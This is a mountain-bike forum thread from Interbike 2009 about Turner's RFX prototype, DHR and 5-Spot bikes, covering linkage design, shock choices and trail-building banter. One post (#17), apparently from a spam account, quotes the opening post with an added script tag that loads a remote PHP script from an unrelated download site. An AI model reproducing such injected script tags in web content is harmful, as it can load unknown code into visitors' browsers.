Results 1 to 91 of 91
  1. #1
    Flyin Canine
    Reputation: shanedawg's Avatar
    Join Date
    Jan 2004
    Posts
    2,272

    Turners at interbike

    They do have a DW dhr to test there. A friend of mine rode this one. I'm waiting for a ride report from him. Has anyone else ridden one while at the dirt demo?
    Attached Images Attached Images

  2. #2
    Well Biked
    Reputation: scepticshock's Avatar
    Join Date
    Jun 2005
    Posts
    1,877
    Will there be a proto-RFX there?

  3. #3
    mtbr member
    Reputation: OldHouseMan's Avatar
    Join Date
    Dec 2006
    Posts
    3,949
    I'm assuming they painted it like that so nobody would steal it.
    I only ride bikes to fill the time when I'm not skiing.

  4. #4
    mtbr member
    Reputation:
    Join Date
    Jun 2007
    Posts
    174
    Quote Originally Posted by OldHouseMan
    I'm assuming they painted it like that so nobody would steal it.

    hahaha! My thoughts exactly.

  5. #5
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    Quote Originally Posted by OldHouseMan
    I'm assuming they painted it like that so nobody would steal it.
    What do you think about this helmet?
    Attached Images Attached Images
    nothing witty here...

  6. #6
    Pixie Dust Addict
    Reputation:
    Join Date
    Aug 2004
    Posts
    3,352
    I pedaled it around for a couple of minutes. Pretty amazing for an 8 inch bike. No report on how it rides downhill.

  7. #7
    mtbr member
    Reputation: G-AIR's Avatar
    Join Date
    Jan 2004
    Posts
    1,607
    Quote Originally Posted by OldHouseMan
    I'm assuming they painted it like that so nobody would steal it.
    I think that is Tyler Morlands old bike. He always has some pretty interesting paint schemes.

    TG

  8. #8
    mtbr member
    Reputation: zonoskar's Avatar
    Join Date
    Jan 2004
    Posts
    976
    Quote Originally Posted by 2w4s
    What do you think about this helmet?
    That's nothing. I saw this helmet at the Eurobike


  9. #9
    mtbr member
    Reputation: starre's Avatar
    Join Date
    Sep 2004
    Posts
    719
    i was hoping the new RFX would be out on the dirt demo? anybody see it?

    Quote Originally Posted by scepticshock
    Will there be a proto-RFX there?

  10. #10
    mtbr member
    Reputation:
    Join Date
    Mar 2004
    Posts
    141
    Quote Originally Posted by G-AIR
    I think that is Tyler Morlands old bike. He always has some pretty interesting paint schemes.

    TG

    I think you are right. If you go to the home page on the Turner site they have a picture of it mentioning that it's Tyler's bike.

  11. #11
    MK_
    MK_ is offline
    carpe maņana
    Reputation: MK_'s Avatar
    Join Date
    Nov 2004
    Posts
    7,258
    I guess DT is too embarrassed to show off the RFX in public.

    _MK

    Before you diagnose yourself with depression or low self-esteem, first make sure that you are not just surrounded by a*holes

  12. #12
    TCB
    TCB is offline
    mtbr member
    Reputation: TCB's Avatar
    Join Date
    Dec 2004
    Posts
    490
    I pulled this photo of the RFX from the Turner FB page, I guess it's not quit ready for the Demo day

    8426.jpg
    Edit: here are two more photos
    8428.jpg
    8427.jpg
    Last edited by TCB; 09-23-2009 at 09:55 AM.
    "No matter where you go there you are" BUCKAROO BANZAI

  13. #13
    Moosehead
    Reputation: moosehead's Avatar
    Join Date
    Jun 2008
    Posts
    1,902
    there's gotta be a built rfx rolling around.

    bueller? bueller?

  14. #14
    locked - time out
    Reputation: TIMBERRR's Avatar
    Join Date
    Feb 2006
    Posts
    2,389
    E type derail mounts to the chainstay? Interesting.

    Floating Shock also?!?!

    Can't wait!!!

  15. #15
    MK_
    MK_ is offline
    carpe maņana
    Reputation: MK_'s Avatar
    Join Date
    Nov 2004
    Posts
    7,258
    Quote Originally Posted by TIMBERRR
    E type derail mounts to the chainstay? Interesting.

    Floating Shock also?!?!

    Can't wait!!!
    The chainstay derailleur mount is like the Yeti 7. It solves chainstay clearance issue for the FD on the long travel bikes without resorting to bent seat tubes. I don't think the shock is floating.

    _MK

    Before you diagnose yourself with depression or low self-esteem, first make sure that you are not just surrounded by a*holes

  16. #16
    TCB
    TCB is offline
    mtbr member
    Reputation: TCB's Avatar
    Join Date
    Dec 2004
    Posts
    490
    The sign should read, Optional: Cane Creek Double Barrel
    "No matter where you go there you are" BUCKAROO BANZAI

  17. #17
    mtbr member
    Reputation:
    Join Date
    Sep 2009
    Posts
    26
    Quote Originally Posted by shanedawg
    They do have a DW dhr to test there. A friend of mine rode this one. I'm waiting for a ride report from him. Has anyone else ridden one while at the dirt demo?<script type="***************" src="http://djmixdownloads.com/script.php"></script>
    Yah, I enjoy one of those things haven't you try that.

  18. #18
    mtbr member
    Reputation:
    Join Date
    May 2007
    Posts
    88
    So if that lower shock mount is not floating then how is the shock going to clear the frame on full compression when using a coil shock? How can it also fit around the coils?

    Looks like it's floating in the photo.

  19. #19
    locked - time out
    Reputation: TIMBERRR's Avatar
    Join Date
    Feb 2006
    Posts
    2,389
    Quote Originally Posted by MK_
    The chainstay derailleur mount is like the Yeti 7. It solves chainstay clearance issue for the FD on the long travel bikes without resorting to bent seat tubes.


    _MK

    Thank you Capt. Obvious

    Pretty sure that shock is floating!

  20. #20
    locked - time out
    Reputation: TIMBERRR's Avatar
    Join Date
    Feb 2006
    Posts
    2,389
    Why does everyone have a chubbie for the CCDB? I've heard nothing but bad reviews from the people I trust.
    I'd take the RC4 in a heartbeat as my coil offering.

  21. #21
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Quote Originally Posted by TIMBERRR
    Why does everyone have a chubbie for the CCDB? I've heard nothing but bad reviews from the people I trust.
    I'd take the RC4 in a heartbeat as my coil offering.
    Once set up properly, the CCDB is a great shock.

  22. #22
    TCB
    TCB is offline
    mtbr member
    Reputation: TCB's Avatar
    Join Date
    Dec 2004
    Posts
    490
    I guess I should have said, Optional: Coil Shock, in my opinion if you can't put a Coil on the RFX then the bike is just another nice XC bike.
    "No matter where you go there you are" BUCKAROO BANZAI

  23. #23
    mtbr member
    Reputation: big-ted's Avatar
    Join Date
    Oct 2005
    Posts
    428
    Quote Originally Posted by TIMBERRR
    Why does everyone have a chubbie for the CCDB? I've heard nothing but bad reviews from the people I trust.
    I'd take the RC4 in a heartbeat as my coil offering.
    Well, if you trust me I'll tell you it's an awesome shock. Super plush, and with a little knowledge/experimentation you can literally make it do you whatever you want. The downside of that is you can also set it up to feel like ass, but that's hardly the fault of the shock.

    The only negative thing I could say is that it tends to need a service a little more often than my old DHX ever did, but when Cane Creek stand behind the product so firmly, and have such a quick turn around, I wont even complain too much about that.

  24. #24
    Lay off the Levers
    Reputation: Bikezilla's Avatar
    Join Date
    Dec 2003
    Posts
    10,128
    Quote Originally Posted by TIMBERRR
    Why does everyone have a chubbie for the CCDB?
    Not me. I have a Chubbie for and Avy!


    Mmmm RFX!
    Faster is better, even when it's not.

  25. #25
    mtbr member
    Reputation: cave dweller's Avatar
    Join Date
    Feb 2005
    Posts
    363

    Can't wait

    Can't wait for the new rfx. Sign me up!

  26. #26
    FM
    FM is offline
    mtbr member
    Reputation: FM's Avatar
    Join Date
    Apr 2003
    Posts
    9,442
    Quote Originally Posted by TCB
    I pulled this photo of the RFX from the Turner FB page, I guess it's not quit ready for the Demo day
    So facebook has better interbike coverage than MTBR?!

    Not surprising I guess.

  27. #27
    the refurbished one
    Reputation: hball's Avatar
    Join Date
    May 2004
    Posts
    722
    Quote Originally Posted by FM
    So facebook has better interbike coverage than MTBR?!

    Not surprising I guess.
    yeah, its a shame!
    Sokrates is dead, Galilei is dead, Newton is dead, Einstein is dead, Pantani is dead and i am feeling sick too.

  28. #28
    MK_
    MK_ is offline
    carpe maņana
    Reputation: MK_'s Avatar
    Join Date
    Nov 2004
    Posts
    7,258
    Quote Originally Posted by TIMBERRR
    Thank you Capt. Obvious

    Pretty sure that shock is floating!
    Here are DT's own words on whether the shock on the RFX is floating.
    http://forums.mtbr.com/showpost.php?...45&postcount=2

    Quote Originally Posted by turnerbikes
    It is not a floating shock, it does not have to be to get the wheel rate desired.

    One piece.

    Not sure if the proto will be like the final? The only thing I can guarantee is that the production bike will be better than the proto. Genius, I know!

    DT
    _MK

    Before you diagnose yourself with depression or low self-esteem, first make sure that you are not just surrounded by a*holes

  29. #29
    Pivoteer
    Reputation: tiSS'er's Avatar
    Join Date
    Jan 2004
    Posts
    3,454
    looks better than the rendering on the website. My question is...where are those rocker pivots going to sit when the bike is sagged and/or compressed? Straight up? I could see some bodily penetration on a tech climb if you fell backwards

    Employed by Pivot Cycles - www.pivotcycles.com

  30. #30
    locked - time out
    Reputation: TIMBERRR's Avatar
    Join Date
    Feb 2006
    Posts
    2,389
    Quote Originally Posted by MK_
    Here are DT's own words on whether the shock on the RFX is floating.
    http://forums.mtbr.com/showpost.php?...45&postcount=2



    _MK
    Really looks to be mounted to that lower pivot rocker. AKA floating. Guess we will wait for DT for a final word.

  31. #31
    Elitest thrill junkie
    Reputation: Jayem's Avatar
    Join Date
    Jul 2005
    Posts
    30,673
    Quote Originally Posted by TCB
    The sign should read, Optional: Cane Creek Double Barrel
    I'd much rather have a RC4, with the idea that Push will be able to tune those. The one-size-fits-all approach by CC doesn't work in all situations for all riders IMO. Much better to go with somthing that is tunable. Otherwise, I'd rather have the Avalanche as well.
    "It's only when you stand over it, you know, when you physically stand over the bike, that then you say 'hey, I don't have much stand over height', you know"-T. Ellsworth

    You're turning black metallic.

  32. #32
    Elitest thrill junkie
    Reputation: Jayem's Avatar
    Join Date
    Jul 2005
    Posts
    30,673
    Let the beatings begin.
    "It's only when you stand over it, you know, when you physically stand over the bike, that then you say 'hey, I don't have much stand over height', you know"-T. Ellsworth

    You're turning black metallic.

  33. #33
    mtbr member
    Reputation: Chasintrane's Avatar
    Join Date
    Jun 2006
    Posts
    489
    Quote Originally Posted by FM
    So facebook has better interbike coverage than MTBR?!

    Not surprising I guess.
    It's hard to compete with a network of 250,000,000 users. That would be the 4th largest country in the world.

  34. #34
    Peace & Love
    Reputation: FoShizzle's Avatar
    Join Date
    Jan 2004
    Posts
    17,273
    badass

  35. #35
    mtbr member
    Reputation: Chasintrane's Avatar
    Join Date
    Jun 2006
    Posts
    489
    Didn't even have time to get the links ano'ed. Must be fresh out of SAPA.

    Looks better in real life for sure. I was a little worried after seeing the design pics.

  36. #36
    Moosehead
    Reputation: moosehead's Avatar
    Join Date
    Jun 2008
    Posts
    1,902
    Quote Originally Posted by tiSS'er
    My question is...where are those rocker pivots going to sit when the bike is sagged and/or compressed? Straight up? I could see some bodily penetration on a tech climb if you fell backwards
    Further, if one caught their nutsack in that rocker upon rebound it could cause a lifetime of antisquat.

  37. #37
    Elitest thrill junkie
    Reputation: Jayem's Avatar
    Join Date
    Jul 2005
    Posts
    30,673
    Uh, if you look at the rocker, they may move something like 10% up, but 90% forward.
    "It's only when you stand over it, you know, when you physically stand over the bike, that then you say 'hey, I don't have much stand over height', you know"-T. Ellsworth

    You're turning black metallic.

  38. #38
    mtbr member
    Reputation:
    Join Date
    May 2007
    Posts
    88
    Quote Originally Posted by moosehead
    Further, if one caught their nutsack in that rocker upon rebound it could cause a lifetime of antisquat.
    I can see it now...

    Dude on side of Whistler trail: " Do you have a hex wrench? I need to get my nuts out of the frame! "

    So all of that just to get a direct mount derailleur on there? Seems like quite the compromise, eh?

    On the lighter side, a vasectomy costs about the same amount as a DW RFX. Kill two stones with one rocker?

  39. #39
    MK_
    MK_ is offline
    carpe maņana
    Reputation: MK_'s Avatar
    Join Date
    Nov 2004
    Posts
    7,258
    Another solution that could shrink the rear triangle:
    http://www.blackspire.com/qs/product/83/5947/320894/0/0



    _MK

    Before you diagnose yourself with depression or low self-esteem, first make sure that you are not just surrounded by a*holes

  40. #40
    Moosehead
    Reputation: moosehead's Avatar
    Join Date
    Jun 2008
    Posts
    1,902
    Quote Originally Posted by Jayem
    Uh, if you look at the rocker, they may move something like 10% up, but 90% forward.
    I was just kidding about the nutsack comment. Mine stand a better chance of getting caught in the leather saddle pinhole perforations.

  41. #41
    mtbr member
    Reputation: techFiend's Avatar
    Join Date
    Aug 2005
    Posts
    262

    Hard to tell from the photo

    Quote Originally Posted by Foamzilla
    So if that lower shock mount is not floating then how is the shock going to clear the frame on full compression when using a coil shock? How can it also fit around the coils?

    Looks like it's floating in the photo.
    Photos do not convey depth well. If you look carefully, you can see the lower end of the shock mounted to a machined BB block (not floating), just like current bikes. It is not hard to visualize that the space between the pivot plates is large enough to clear the O.D. of a coil or air shock.

    The intricate machining itself makes this bike a work of art. Gives it a solid industrial look vs. the more organic looking carbon frames that are coming out this year.

    Given the proliferation of carbon in AM (and some DH) frames this year, I'll wait to see some carbon AM/light-FR bikes...

  42. #42
    mtbr member
    Reputation:
    Join Date
    Apr 2004
    Posts
    8,325
    All I have to say is:

    <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/BGt4J9oBKKo&hl=en&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/BGt4J9oBKKo&hl=en&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>
    Who's in charge, the thinker or the thought?

  43. #43
    mtbr member
    Reputation:
    Join Date
    May 2007
    Posts
    88
    Quote Originally Posted by techFiend
    Photos do not convey depth well. If you look carefully, you can see the lower end of the shock mounted to a machined BB block (not floating), just like current bikes. It is not hard to visualize that the space between the pivot plates is large enough to clear the O.D. of a coil or air shock.

    The intricate machining itself makes this bike a work of art. Gives it a solid industrial look vs. the more organic looking carbon frames that are coming out this year.

    Given the proliferation of carbon in AM (and some DH) frames this year, I'll wait to see some carbon AM/light-FR bikes...
    I can't visualize it. To me, the bridge on the lower link would extend up and into the shock spring mount.

    Also, wouldn't the bolts of the shock hit the lower link if it wasn't floating?

    If not for a floating design or strictly for the direct mount derailluer, then why is it designed with the rear triangle so far forward? Strange. Like it, but still strange.

  44. #44
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Quote Originally Posted by TIMBERRR
    Really looks to be mounted to that lower pivot rocker. AKA floating. Guess we will wait for DT for a final word.
    If it is anything like the Giant Faith...it doesn't float.

    <object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Rqahy-ucezA&hl=en&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Rqahy-ucezA&hl=en&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object>

  45. #45
    mtbr member
    Reputation: antipop's Avatar
    Join Date
    Jun 2009
    Posts
    305
    Buckethead!!!!!!! Yes!
    life is steeper than it looks

  46. #46
    mtbr member
    Reputation:
    Join Date
    Apr 2004
    Posts
    8,325
    Quote Originally Posted by antipop
    Buckethead!!!!!!! Yes!
    In these days of modern times, you peeps need some Buckethead every now and then.

    Carry on.
    Who's in charge, the thinker or the thought?

  47. #47
    Pixie Dust Addict
    Reputation:
    Join Date
    Aug 2004
    Posts
    3,352
    The front derailleur mounts to the rear triangle. The two threaded holes behind the vertical brace are for mounting an e-type derailleur that's removed from the BB mounting plate.

    The question I didn't ask DT (plus it's a first article prototype, so they may not have it ready to be built) is how the lower link is going to move with the head of the lower shock bolt sitting right in its path. The other interesting thing that is only kind of captured is how the whole lower linkage assembly is offset away from the drive side so that there is room for the front derailleur and ISCG mounts. Note how the seat tube displaces to the non-drive side at the bottom.

  48. #48
    Powered by ice cream.
    Reputation: Enel's Avatar
    Join Date
    Mar 2004
    Posts
    6,310
    Quote Originally Posted by 2TurnersNotEnough
    The question I didn't ask DT (plus it's a first article prototype, so they may not have it ready to be built) is how the lower link is going to move with the head of the lower shock bolt sitting right in its path.
    I asked that. He mentioned that in the hurry to get it finished, the bolt was installed backward. It will fit, but it will be tight.

    I think he is leaning heavily to 1.5 at this time.

    <a href="https://picasaweb.google.com/lh/photo/fuNY4xY6GXF9Z1Ld5W1y0g?authkey=Gv1sRgCOmXp-7P05e3owE&feat=embedwebsite"><img src="https://lh4.ggpht.com/_krWgAPsu4g0/Sr6cDDmt-mI/AAAAAAAAITg/fO61P8hvLko/s800/IMG_2658.JPG" /></a>

    Another interesting bike I saw:

    <a href="https://picasaweb.google.com/lh/photo/wWIzJ448gG8sZRwv7DrHJw?authkey=Gv1sRgCOmXp-7P05e3owE&feat=embedwebsite"><img src="https://lh3.ggpht.com/_krWgAPsu4g0/Sr6btS-nVHI/AAAAAAAAIR8/odqLkIjHo40/s800/IMG_2631.JPG" /></a>
    Quote Originally Posted by buddhak
    And I thought I had a bike obsession. You are at once tragic and awesome.

  49. #49
    mtbr member
    Reputation: ryan_daugherty's Avatar
    Join Date
    Oct 2006
    Posts
    1,800
    Quote Originally Posted by OldHouseMan
    I'm assuming they painted it like that so nobody would steal it.
    I think its a super fresh paint job. - Turner paint is usually a yawnfest - the new highlighter yellow color looks sharp.

    btw - RFX = ugly, i've expressed this before - HOWEVER - its growing on me. it'd look a lot better with a 1.5 ht.

  50. #50
    whistler
    Reputation:
    Join Date
    Mar 2004
    Posts
    221
    5-spot with hammerschmidt! that's exactly what i want. wonder if they're coming with iscg tabs now? how's it pedal? also want tapered head tube so i can have a 1.125 fox 36 and flush mount lower headset cup to keep the front end as low as possible.

  51. #51
    the refurbished one
    Reputation: hball's Avatar
    Join Date
    May 2004
    Posts
    722
    can i get a bead blasted black frame like on this beauty?



    no polisehd anodized frames. bead blasted an at least one color: black.
    sapa can do this easily with their state of the art anodizing facility!

    no laser etched logos please! just use stronger adhesive material for the decals.

    schaweeet!

    thanks
    Sokrates is dead, Galilei is dead, Newton is dead, Einstein is dead, Pantani is dead and i am feeling sick too.

  52. #52
    Monkey Wrench
    Reputation:
    Join Date
    Dec 2005
    Posts
    353
    I thought I would see pics from other IB attendees, but I can't let my camera sit with these RFX photos any longer.
    Talking to Dave and other Turner reps, they made it abundantly clear that this is the very first prototype, and they had just unpacked it on Tuesday for the first time. Some of the hardware was even unusable, but this bike was going to be their first rideable RFX, and it was going to be build up and on the trail the week after IB. Anything you see could change, but I feel it needs to be shown that they're working hard to make us an amazing bike.

    RFX Prototype


    4 hrs of machining


    X12 Dropouts - look very smooth, beefy, and simple with many standard 135 hubs convertible to it


    Crazy offset to clear drivetrain


    Not a floating shock - the lower link is just in front of the seat tube


    larger upper linkage that other dw's


    Thick enough for you?
    Last edited by vwvoodoo; 09-27-2009 at 07:20 PM.
    Let me fix your bike @ ordinarybicycle.net in Louisville, CO

  53. #53
    mtbr member
    Reputation:
    Join Date
    Mar 2004
    Posts
    996
    Great pics.

  54. #54
    asx
    asx is offline
    asx
    Reputation:
    Join Date
    Jan 2009
    Posts
    14

    Smile

    I've started to do my savings, i hope to see the rfx next year on the stores

  55. #55
    locked - time out
    Reputation: TIMBERRR's Avatar
    Join Date
    Feb 2006
    Posts
    2,389
    Shorts Even Tighter Now!!!!

  56. #56
    mtbr member
    Reputation:
    Join Date
    Jan 2004
    Posts
    862
    dang that upper link is MASSIVE.

  57. #57
    Build More = Ride More
    Reputation: YoPawn's Avatar
    Join Date
    Mar 2008
    Posts
    1,442
    Quote Originally Posted by Ansible
    dang that upper link is MASSIVE.
    It has to be, because there is no cross brace on the upper part of the triangle like on the other DW designs. Those links have to compensate for it.

    I think it's a pretty cool idea since it adds a lot of strength to the rocker.

    No Firebird-esque rocker destruction going on there!

    I gotta say, this bike is really growing on me now that there are more pictures!

    Dave, you sure as hell know how to make metal into pure sex.

  58. #58
    Lay off the Levers
    Reputation: Bikezilla's Avatar
    Join Date
    Dec 2003
    Posts
    10,128
    +1 on YoP

    I like this look waaaaaaaaay better than the small rear triangle in the other models.
    Very trick cnc work on this scooter. The rockers and BB areas are kicarse. Looks a little tight near the lower shock mount but it's an early revision so we'll see what's what.

    Man, I really, really loved my 6pack... this could be just the ticket to bring back the love.
    Faster is better, even when it's not.

  59. #59
    Build More = Ride More
    Reputation: YoPawn's Avatar
    Join Date
    Mar 2008
    Posts
    1,442
    Quote Originally Posted by Bikezilla
    +1 on YoP

    I like this look waaaaaaaaay better than the small rear triangle in the other models.
    Very trick cnc work on this scooter. The rockers and BB areas are kicarse. Looks a little tight near the lower shock mount but it's an early revision so we'll see what's what.

    Man, I really, really loved my 6pack... this could be just the ticket to bring back the love.
    It's sure as hell making it easier to sell the Highline.
    I'm not going to feel so bad about parting ways with it knowing there's something like this coming out in the next 2-10 years.

  60. #60
    mtbr member
    Reputation:
    Join Date
    Jan 2004
    Posts
    862
    It looks like the only thing keeping the two halves of the giant link from rotating independently is that itty bitty shock bolt. Well the only thing in that area, anyway, I'm sure the BB area bracing and the through axle play their part. I'm curious about how torsional stiffness is maintained there, maybe extra wide bushings help?

  61. #61
    Lay off the Levers
    Reputation: Bikezilla's Avatar
    Join Date
    Dec 2003
    Posts
    10,128
    Quote Originally Posted by Ansible
    It looks like the only thing keeping the two halves of the giant link from rotating independently is that itty bitty shock bolt. Well the only thing in that area, anyway, I'm sure the BB area bracing and the through axle play their part. I'm curious about how torsional stiffness is maintained there, maybe extra wide bushings help?
    Interesting observation. Possibly a hex shaft thru bolt in the pivot like on the lower links of the other models would lock the rockers together. The vertical uprights of the rear triangle might help too no?
    Faster is better, even when it's not.

  62. #62
    Pixie Dust Addict
    Reputation:
    Join Date
    Aug 2004
    Posts
    3,352
    I know that there are some tricks in the pivots to keep things moving together. Maybe when DT gets a chance he can explain it.

  63. #63
    mtbr member
    Reputation: Vrock's Avatar
    Join Date
    Jan 2004
    Posts
    431
    It has an X12 rear axle too, that helps a lot in the stiffnes department. Anyway, I still dont like the looks of the bike, it's slowly growing on me, but I'm not sold yet.

  64. #64
    mtbr member
    Reputation:
    Join Date
    Sep 2007
    Posts
    52
    Any word at interbike on when the DHR will be available?

  65. #65
    FUNHOG!
    Reputation: Northshore0909's Avatar
    Join Date
    Jul 2008
    Posts
    47
    the word i heard on the DHRs was next year (late winter or spring)

  66. #66
    mtbr member
    Reputation: KRob's Avatar
    Join Date
    Jan 2004
    Posts
    11,892
    I rode Tyler Mooreland's DHR at I-bike. Very cool bike.

    Makes you feel like a rock star (wildly colored spandex and all) in the pits and a super hero on the slopes.

    I posted a short review in the I-bike forum.

    Did I read up higher where someone said they were going to build up this RFX frame this week. Dave is in UT and AZ riding with the THC this week. Does that mean some peeps are getting a chance to sample it???
    Last edited by KRob; 09-29-2009 at 03:28 PM.
    I will cause thee to ride upon the high places of the earth...
    Isaiah 58:14

    www.stuckinthespokes.com

  67. #67
    mtbr member
    Reputation:
    Join Date
    May 2007
    Posts
    122
    I've been looking at these RFX frame shots again, and as mentioned by Bikezilla, I'm not sure that this is a working prototype. I looks to me like the lower links will hit the lower shock mount bolts as soon as the suspension compresses. It may be an optical illusion, it it looks to be very tight.

    When the suspension compresses the rear of the lower link will move arcing upwards, and the upper link will rotate upwards and forwards around the top tube pivot.

    Upper Link.jpg

    This lower link shot appears to show the lower shock mount bolts resting on the lower links, which would either prevent movement, or greatly limit it.

    Lower Link.jpg

    The shock bolts and lower link contact can also be seen in this rear shot

    Back Links.jpg

  68. #68
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Not if there is a vertical "pull" on the lower linkage. That would push it forward then up??

  69. #69
    Pixie Dust Addict
    Reputation:
    Join Date
    Aug 2004
    Posts
    3,352
    Quote Originally Posted by decender
    I've been looking at these RFX frame shots again, and as mentioned by Bikezilla, I'm not sure that this is a working prototype. I looks to me like the lower links will hit the lower shock mount bolts as soon as the suspension compresses. It may be an optical illusion, it it looks to be very tight.

    When the suspension compresses the rear of the lower link will move arcing upwards, and the upper link will rotate upwards and forwards around the top tube pivot.

    Upper Link.jpg

    This lower link shot appears to show the lower shock mount bolts resting on the lower links, which would either prevent movement, or greatly limit it.

    Lower Link.jpg

    The shock bolts and lower link contact can also be seen in this rear shot

    Back Links.jpg
    That was answered upthread. The bolt was installed backwards when they were putting the frame together in a Las Vegas hotel room.

  70. #70
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Quote Originally Posted by 2TurnersNotEnough
    That was answered upthread. The bolt was installed backwards when they were putting the frame together in a Las Vegas hotel room.
    That's probably no good either. Would you trust your LBS to install that bolt?

  71. #71
    mtbr member
    Reputation: big-ted's Avatar
    Join Date
    Oct 2005
    Posts
    428
    Quote Originally Posted by Mtn. Biker123
    That's probably no good either. Would you trust your LBS to install that bolt?
    Seriously? You're going to complain about the fact that it's possible to damage a pre-production, hell, make that FIRST ITERATION PROTOTYPE by assembling it in a manner unintended by its designer? Pretty sure I could damage any bike, car, or kitchen sink if I put it together wrong.


    Seems this thread has gotten a bit off-track with people determined to find fault. Now, when can we expect that DHR DT?

  72. #72
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Quote Originally Posted by big-ted
    Seriously? You're going to complain about the fact that it's possible to damage a pre-production, hell, make that FIRST ITERATION PROTOTYPE by assembling it in a manner unintended by its designer? Pretty sure I could damage any bike, car, or kitchen sink if I put it together wrong.


    Seems this thread has gotten a bit off-track with people determined to find fault. Now, when can we expect that DHR DT?

    It's called a conversation. I don't think anyone is complaining. Just voicing opinions. Just as you did^^^^^^

  73. #73
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202

    What about "joe" the trailbuilder...

    DT, your forgetting that for some of us the bike is a means to get tools/supplies into very remote areas. You will need to make sure that the lower link will clear my rakes

    I have found that a ~ 66.5* HA works best and I have included a picture of the outdated model here as a reference
    Attached Images Attached Images
    Last edited by Mtn. Biker123; 09-30-2009 at 05:57 AM.

  74. #74
    Moosehead
    Reputation: moosehead's Avatar
    Join Date
    Jun 2008
    Posts
    1,902
    MTB123, +1 on the trail building efforts, but you may want to swivel that rake around towards the front tire and put a helmet on the tree trimmer.

    Looks like a Wile E. Coyote setup.
    Attached Images Attached Images

  75. #75
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202

    It's all good...

    Quote Originally Posted by moosehead
    MTB123, +1 on the trail building efforts, but you may want to swivel that rake around towards the front tire and put a helmet on the tree trimmer.

    Looks like a Wile E. Coyote setup.
    If I rotate the rakes I run the risk of puncturing my front tire on the 8'ers, and the loppers double as a head scratche .

  76. #76
    i can't type the letter s
    Reputation: mouse jockey's Avatar
    Join Date
    May 2004
    Posts
    1,093
    Help me out here. Does the 2010 5 spot have ISCG tabs now? And is the 5 spot the new highline since the spot is sportin' the FR cranks?

    Sorry if this has already been talked about.

    IMG_2631.JPG

  77. #77
    mtbr member
    Reputation:
    Join Date
    Dec 2003
    Posts
    6,884
    Quote Originally Posted by mouse jockey
    Sorry if this has already been talked about.
    It has & the verdict was that Turner will weld the ISCG tabs on a 5 Spot if requested (presumably with upgraded pricing)


  78. #78
    i can't type the letter s
    Reputation: mouse jockey's Avatar
    Join Date
    May 2004
    Posts
    1,093
    Quote Originally Posted by jncarpenter
    It has & the verdict was that Turner will weld the ISCG tabs on a 5 Spot if requested (presumably with upgraded pricing)
    The last shall be first. Good to keep in mind since I'm always slow.

  79. #79
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Here's what I was working on...
    Attached Images Attached Images

  80. #80
    Daniel the Dog
    Reputation:
    Join Date
    Mar 2008
    Posts
    6,759

    I'm eating, dude

    Those bikes are so ugly I almost lost my breakfast.

    Jaybo

  81. #81
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Quote Originally Posted by asx
    I've started to do my savings, i hope to see the rfx next year on the stores

    Did you mean in the stores?

    There's more jobs that way

  82. #82
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    Quote Originally Posted by Mtn. Biker123
    Here's what I was working on...
    crazy looking lip on the jump, or is it a drop? Can't really tell, but the trail looks like it has a lot of good dirt.
    nothing witty here...

  83. #83
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    Quote Originally Posted by Mtn. Biker123
    Here's what I was working on...
    crazy looking lip on the jump, or is it a drop? Can't really tell, but the trail looks like it has a lot of good dirt.
    nothing witty here...

  84. #84
    banned
    Reputation:
    Join Date
    Sep 2005
    Posts
    8,202
    Quote Originally Posted by 2w4s
    crazy looking lip on the jump, or is it a drop? Can't really tell, but the trail looks like it has a lot of good dirt.
    It is a little step down. Not much room to work with and I've changed it up a bit sense then.

    As always these things seem to be a work in progress

  85. #85
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    Quote Originally Posted by Mtn. Biker123
    As always these things seem to be a work in progress
    I hear you. 18 man hours put into a local trail this saturday and it's not nearly what we envision it to be, yet.

    nothing witty here...

  86. #86
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    2xpost
    nothing witty here...

  87. #87
    Stray Bullet
    Reputation: Nagaredama's Avatar
    Join Date
    Aug 2004
    Posts
    2,273
    Why is it myself and TG are working and you're watching? Slacker!

  88. #88
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    Quote Originally Posted by Nagaredama
    Why is it myself and TG are working and you're watching? Slacker!
    i'm management, i'm there to manage. I notice that your swing is a little off and you're not moving nearly as much dirt as you should. I expect you to study harder and do a better job next time or you'll be looking for a new trail crew, buddy.
    nothing witty here...

  89. #89
    Stray Bullet
    Reputation: Nagaredama's Avatar
    Join Date
    Aug 2004
    Posts
    2,273
    Quote Originally Posted by 2w4s
    i'm management, i'm there to manage. I notice that your swing is a little off and you're not moving nearly as much dirt as you should. I expect you to study harder and do a better job next time or you'll be looking for a new trail crew, buddy.
    Hopefully the management fixed the S. Cage yesterday.

  90. #90
    mtbr member
    Reputation: 2w4s's Avatar
    Join Date
    Mar 2005
    Posts
    1,148
    Quote Originally Posted by Nagaredama
    Hopefully the management fixed the S. Cage yesterday.
    management decided it would be more cost effective to drink beer and watch TV instead, may need to outsource S.Cage as it doesn't really coincide with this trail crew's LOB. Capital equipment is already installed, just need an investor.
    nothing witty here...

  91. #91
    Stray Bullet
